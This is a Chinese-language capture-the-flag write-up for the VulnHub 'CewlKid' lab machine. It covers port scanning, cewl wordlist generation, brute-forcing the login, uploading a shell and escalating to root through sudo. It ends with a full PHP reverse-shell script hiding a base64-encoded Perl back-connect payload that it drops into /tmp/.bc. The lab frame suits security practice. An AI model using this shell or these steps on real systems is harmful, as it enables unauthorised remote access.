当前位置: 代码迷 >> 综合 >> VulnHub-CewlKid
  详细解决方案

VulnHub-CewlKid

热度:43   发布时间:2023-12-21 08:23:54.0

靶机 DHCP 未能正确分配 IP :看这里
靶机地址:http://www.vulnhub.com/entry/cewlkid-1,559/

按照正常流程

nmap -sV ip

在这里插入图片描述
发现开放三个端口
22端口:ssh
80端口:浏览器打开是阿帕奇
8080端口:浏览器打开是网页

查看8080端口的网页,在 F12发现一串密文
在这里插入图片描述
尝试使用常用的解码方式解密无果后,先保存下来

发现有登入页面,在尝试常用万能密码无法登入后,
使用使用爬虫创建自字典的工具

cewl http://192.168.1.126:8080 > key.lst

然后bp抓取登入信息,使用字典爆破
在这里插入图片描述
点击爆破,找到密码,Letraset
在这里插入图片描述
登入页面后,发现有文件上传的页面
在这里插入图片描述
上传一个php反弹shell的脚本,脚本置于文章末尾
nc -lvp port监听,curl 访问脚本,拿到shell,不过权限不高

并且用 python建立虚拟终端

python -c 'import pty; pty.spawn("/bin/bash")'

提权:
方法:一
在这里插入图片描述
逛了一圈没看见有价值的

使用 pspy64 查看一下进程
因为网页上传文件失败所以使用wget去kali本地下载

kali:python3 -m http.server port
靶机:cd /tmpwget http://ip:port/pspy64schmod 777 pspy64s./pspy64s

可以看见一行比较重要的的,尝试登入他的用户
在这里插入图片描述

su cewlbeans 			//登入用户
sudo -l					//查看权限
sudo su					//申请临时root

在这里插入图片描述

通关
在这里插入图片描述
方法:二
查看版本系统版本后,构建提权脚本提权

php反弹shell(记得改ip和端口),来源:网络

<?php
function which($pr) {
    
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
    
$res = '';
if ($cfe) {
    
if(function_exists('exec')) {
    
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
    
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
    
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
    
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
    
$res = '';
while(!@feof($f)) {
    
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
    
if($fp=@fopen($fname,'w')) {
    
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>